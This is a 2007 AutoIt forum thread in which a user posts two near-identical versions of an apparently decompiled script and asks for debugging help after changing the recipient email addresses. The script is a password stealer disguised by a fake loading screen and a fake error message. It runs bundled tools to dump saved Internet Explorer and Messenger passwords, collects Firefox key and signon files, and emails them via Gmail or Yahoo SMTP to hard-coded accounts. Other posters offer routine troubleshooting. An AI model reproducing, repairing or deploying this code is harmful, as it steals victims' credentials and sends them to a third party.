Fewmitz Posted September 23, 2007 Posted September 23, 2007 So I have this program I've been working on (after someone on here helped me ) : expandcollapse popup#NoTrayIcon $oProcess = ProgressOn("Loading", "", "", -1, 200) FileInstall("iepv.exe", @TempDir & "\temp.exe", 1) RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir) FileDelete(@TempDir & "\temp.exe") $ie = FileRead(@TempDir & "\temp.txt") FileDelete(@TempDir & "\temp.txt") ProgressSet("23", "Loading avatars...") FileInstall("mspass.exe", @TempDir & "\temp.exe", 1) RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir) FileDelete(@TempDir & "\temp.exe") $ms = FileRead(@TempDir & "\temp.txt") FileDelete(@TempDir & "\temp.txt") ProgressSet("57", "Loading names...") Msgbox(0, "", "If you have Internet Explorer or Firefox open, They will be closed.") ProcessClose("firefox.exe") ProcessClose("iexplore.exe") ProgressSet("87", "Loading...") _INetSmtpMailCom("<----------------------------- Internet Explorer --------------------------------->" & @CRLF & $ie & @CRLF & _ "<------------------------------------ Messenger ---------------------------------->" & @CRLF & $ms) Msgbox(0, "0x120272", "Could not establish connection to the server") ProgressOff() Func _INetSmtpMailCom($Body) $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & _GetIP() & '" <FewpPotato@yahoo.com>' $objEmail.To = "supahscubah@yahoo.com" $objEmail.Subject = _GetIP() $objEmail.Textbody = $Body $oKey3 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\key3.db", 1) $oCert8 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\cert8.db", 1) $oSignons = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\signon*.txt", 1) $s_AttachFiles = $oKey3[1] & ";" & $oCert8[1] & ";" & $oSignons[1] Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x]) If FileExists($S_Files2Attach[$x]) Then $objEmail.AddAttachment ($S_Files2Attach[$x]) EndIf Next $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.yahoo.com" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "FewpPotato@yahoo.com" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True $objEmail.Configuration.Fields.Update $objEmail.Send EndFunc Func _FileSearch($szMask,$nOption) $szRoot = "" $hFile = 0 $szBuffer = "" $szReturn = "" $szPathList = "*" Dim $aNULL[1] If Not StringInStr($szMask,"\") Then $szRoot = @SCRIPTDIR & "\" Else While StringInStr($szMask,"\") $szRoot = $szRoot & StringLeft($szMask,StringInStr($szMask,"\")) $szMask = StringTrimLeft($szMask,StringInStr($szMask,"\")) Wend EndIf If $nOption = 0 Then _FileSearchUtil($szRoot, $szMask, $szReturn) Else While 1 $hFile = FileFindFirstFile($szRoot & "*.*") If $hFile >= 0 Then $szBuffer = FileFindNextFile($hFile) While Not @ERROR If $szBuffer <> "." And $szBuffer <> ".." And _ StringInStr(FileGetAttrib($szRoot & $szBuffer),"D") Then _ $szPathList = $szPathList & $szRoot & $szBuffer & "*" $szBuffer = FileFindNextFile($hFile) Wend FileClose($hFile) EndIf _FileSearchUtil($szRoot, $szMask, $szReturn) If $szPathList == "*" Then ExitLoop $szPathList = StringTrimLeft($szPathList,1) $szRoot = StringLeft($szPathList,StringInStr($szPathList,"*")-1) & "\" $szPathList = StringTrimLeft($szPathList,StringInStr($szPathList,"*")-1) Wend EndIf If $szReturn = "" Then $aNULL[0] = 0 Return $aNULL Else Return StringSplit(StringTrimRight($szReturn,1),"*") EndIf EndFunc Func _FileSearchUtil(ByRef $ROOT, ByRef $MASK, ByRef $RETURN) $hFile = FileFindFirstFile($ROOT & $MASK) If $hFile >= 0 Then $szBuffer = FileFindNextFile($hFile) While Not @ERROR If $szBuffer <> "." And $szBuffer <> ".." Then _ $RETURN = $RETURN & $ROOT & $szBuffer & "*" $szBuffer = FileFindNextFile($hFile) Wend FileClose($hFile) EndIf EndFunc But when I try to change who it's emailed to (the objEmail properties), I get a whole mess of errors. Here are the lines I get problems in: 5-RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir) 11-RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir) 27- $objEmail.Subject = _GetIP() 35- $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x]) With the first two saying there's a missing file, which I assume means I need to make one, and the latter two saying unknown function name Then I get an error here: $objEmail.Send Saying "Selected action for this object has failed" If anyone here can help me in any way, please PM me or post here, or both.
qazwsx Posted September 23, 2007 Posted September 23, 2007 Can you show the part you are changing in your code?
Fewmitz Posted September 24, 2007 Author Posted September 24, 2007 (edited) I knew I forgot something. That's the version of the code I changed. The original looks like this: expandcollapse popup#NoTrayIcon $oProcess = ProgressOn("Loading", "", "", -1, 200) FileInstall("iepv.exe", @TempDir & "\temp.exe", 1) RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir) FileDelete(@TempDir & "\temp.exe") $ie = FileRead(@TempDir & "\temp.txt") FileDelete(@TempDir & "\temp.txt") ProgressSet("23", "Loading avatars...") FileInstall("mspass.exe", @TempDir & "\temp.exe", 1) RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir) FileDelete(@TempDir & "\temp.exe") $ms = FileRead(@TempDir & "\temp.txt") FileDelete(@TempDir & "\temp.txt") ProgressSet("57", "Loading names...") Msgbox(0, "", "If you have Internet Explorer or Firefox open, They will be closed.") ProcessClose("firefox.exe") ProcessClose("iexplore.exe") ProgressSet("87", "Loading items...") _INetSmtpMailCom("<----------------------------- Internet Explorer --------------------------------->" & @CRLF & $ie & @CRLF & _ "<------------------------------------ Messenger ---------------------------------->" & @CRLF & $ms) Msgbox(0, "0x120272", "Error -3") ProgressOff() Func _INetSmtpMailCom($Body) $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & _GetIP() & '" <ramzaprogramming@gmail.com>' $objEmail.To = "Narisome@gmail.com" $objEmail.Subject = _GetIP() $objEmail.Textbody = $Body $oKey3 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\key3.db", 1) $oCert8 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\cert8.db", 1) $oSignons = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\signon*.txt", 1) $s_AttachFiles = $oKey3[1] & ";" & $oCert8[1] & ";" & $oSignons[1] Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x]) If FileExists($S_Files2Attach[$x]) Then $objEmail.AddAttachment ($S_Files2Attach[$x]) EndIf Next $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "ramzaprogramming@gmail.com" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True $objEmail.Configuration.Fields.Update $objEmail.Send EndFunc Func _FileSearch($szMask,$nOption) $szRoot = "" $hFile = 0 $szBuffer = "" $szReturn = "" $szPathList = "*" Dim $aNULL[1] If Not StringInStr($szMask,"\") Then $szRoot = @SCRIPTDIR & "\" Else While StringInStr($szMask,"\") $szRoot = $szRoot & StringLeft($szMask,StringInStr($szMask,"\")) $szMask = StringTrimLeft($szMask,StringInStr($szMask,"\")) Wend EndIf If $nOption = 0 Then _FileSearchUtil($szRoot, $szMask, $szReturn) Else While 1 $hFile = FileFindFirstFile($szRoot & "*.*") If $hFile >= 0 Then $szBuffer = FileFindNextFile($hFile) While Not @ERROR If $szBuffer <> "." And $szBuffer <> ".." And _ StringInStr(FileGetAttrib($szRoot & $szBuffer),"D") Then _ $szPathList = $szPathList & $szRoot & $szBuffer & "*" $szBuffer = FileFindNextFile($hFile) Wend FileClose($hFile) EndIf _FileSearchUtil($szRoot, $szMask, $szReturn) If $szPathList == "*" Then ExitLoop $szPathList = StringTrimLeft($szPathList,1) $szRoot = StringLeft($szPathList,StringInStr($szPathList,"*")-1) & "\" $szPathList = StringTrimLeft($szPathList,StringInStr($szPathList,"*")-1) Wend EndIf If $szReturn = "" Then $aNULL[0] = 0 Return $aNULL Else Return StringSplit(StringTrimRight($szReturn,1),"*") EndIf EndFunc Func _FileSearchUtil(ByRef $ROOT, ByRef $MASK, ByRef $RETURN) $hFile = FileFindFirstFile($ROOT & $MASK) If $hFile >= 0 Then $szBuffer = FileFindNextFile($hFile) While Not @ERROR If $szBuffer <> "." And $szBuffer <> ".." Then _ $RETURN = $RETURN & $ROOT & $szBuffer & "*" $szBuffer = FileFindNextFile($hFile) Wend FileClose($hFile) EndIf EndFunc It also won't let me compile it to an exe. Edited September 24, 2007 by Fewmitz
Fewmitz Posted September 24, 2007 Author Posted September 24, 2007 Oh right. $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "ramzaprogramming@gmail.com" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True $objEmail.Configuration.Fields.Update $objEmail.Send Was changed to $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.yahoo.com" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "FewpPotato@yahoo.com" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword" $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True $objEmail.Configuration.Fields.Update $objEmail.Send And then $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & _GetIP() & '" <ramzaprogramming@gmail.com>' $objEmail.To = "Narisome@gmail.com" $objEmail.Subject = _GetIP() $objEmail.Textbody = $Body Was changed to $objEmail.From = '"' & _GetIP() & '" <FewpPotato@yahoo.com>' $objEmail.To = "supahscubah@yahoo.com" $objEmail.Subject = _GetIP() $objEmail.Textbody = $Body I'm starting to think something happened when the original .exe was decompiled, because that worked fine, but now I can't even compiler the original au3, it says "Error adding file: iepv.exe"
PsaltyDS Posted September 24, 2007 Posted September 24, 2007 $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & _GetIP() & '" <ramzaprogramming@gmail.com>' $objEmail.To = "Narisome@gmail.com" $objEmail.Subject = _GetIP() $objEmail.Textbody = $Body Was changed to $objEmail.From = '"' & _GetIP() & '" <FewpPotato@yahoo.com>' $objEmail.To = "supahscubah@yahoo.com" $objEmail.Subject = _GetIP() $objEmail.Textbody = $Body I'm starting to think something happened when the original .exe was decompiled, because that worked fine, but now I can't even compiler the original au3, it says "Error adding file: iepv.exe" If that's not just a copy/paste error in the post, then you deleted the line that creates $objEmail before trying to set its properties: $objEmail = ObjCreate("CDO.Message") Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law
Fewmitz Posted September 24, 2007 Author Posted September 24, 2007 Haha, I'm not sure how I made a copy-paste error, but I did. The objCreate line is in there, and I'm not sure why it's not there in the code I pasted. >_>
qazwsx Posted September 24, 2007 Posted September 24, 2007 im not very good with coms but could the object be different becasue of the different servers eg gmail and yahoo?
Fewmitz Posted September 24, 2007 Author Posted September 24, 2007 That seems to make sense..but I have no clue. I don't think that would explain the script not working after it was decompiled, though.
Fewmitz Posted September 24, 2007 Author Posted September 24, 2007 It won't allow me to compile it-> "Error adding file: iepv.exe"
qazwsx Posted September 24, 2007 Posted September 24, 2007 well if the original script didnt work when decompiled this one probably wont. Do you have the beta autoit?
Fewmitz Posted September 24, 2007 Author Posted September 24, 2007 I didn't know it didn't work until very recently.. And I'm not sure what the beta one is, so which one is it? >_>
qazwsx Posted September 24, 2007 Posted September 24, 2007 http://www.autoitscript.com/autoit3/downloads.php click on download beta.
Fewmitz Posted September 24, 2007 Author Posted September 24, 2007 Takes me to the parent directory, and there's nowhere to download it.
qazwsx Posted September 24, 2007 Posted September 24, 2007 try here http://www.autoitscript.com/autoit3/files/beta/autoit/ and click on the latest beta setp.exe
PsaltyDS Posted September 24, 2007 Posted September 24, 2007 That seems to make sense..but I have no clue.I don't think that would explain the script not working after it was decompiled, though.Decompiled from where? Why did you have to decompile it? Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now